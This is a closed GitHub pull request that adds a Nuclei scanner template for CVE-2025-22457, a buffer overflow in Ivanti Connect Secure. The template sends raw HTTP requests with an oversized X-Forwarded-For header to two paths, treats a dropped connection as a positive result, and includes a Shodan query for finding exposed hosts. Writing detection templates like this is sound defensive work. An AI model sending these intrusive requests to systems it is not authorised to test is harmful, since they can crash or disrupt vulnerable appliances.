Skip to content

CVE-2025-22457 #11895

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
rxerium wants to merge 6 commits into from
Closed

CVE-2025-22457 #11895

Changes from all commits
Commits
Show all changes
6 commits
Select commit Hold shift + click to select a range
95e6715
CVE-2025-22457
rxerium Apr 4, 2025
62cdd8a
remove stop at first match condition
rxerium Apr 4, 2025
90e21d7
misc updates
rxerium Apr 4, 2025
5b2c5d3
add connect secure path + shodan query
rxerium Apr 5, 2025
2dfb834
update X-Forwarded-For header
rxerium Apr 9, 2025
d5a6300
additional tags
rxerium Apr 11, 2025
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
42 changes: 42 additions & 0 deletions http/cves/2025/CVE-2025-22457.yaml
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
id: CVE-2025-22457
info:
name: A stack-based buffer overflow in Ivanti Connect Secure
author: rxerium
severity: critical
description: A stack-based buffer overflow in Ivanti Connect Secure before version 22.7R2.6, Ivanti Policy Secure before version 22.7R1.4, and Ivanti ZTA Gateways before version 22.8R2.2 allows a remote unauthenticated attacker to achieve remote code execution.
reference:
- https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457
- https://www.cvedetails.com/cve/CVE-2025-22457
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.0
cve-id: CVE-2025-22457
cwe-id: CWE-121
metadata:
max-request: 1
vendor: Ivanti
product: Connect Secure
shodan-query: http.title:"ivanti connect secure"
tags: cve,cve2025,ivanti,intrusive,kev

http:
- raw:
- |
POST /dana-na/auth/url_default/welcome.cgi HTTP/1.1
Host: {{Hostname}}
X-Forwarded-For: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

matchers:
- type: dsl
dsl:
- "status_code == 0"
- raw:
- |
GET /dana-na/setup/psaldownload.cgi HTTP/1.1
Host: {{Hostname}}
X-Forwarded-For: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

matchers:
- type: dsl
dsl:
- "status_code == 0"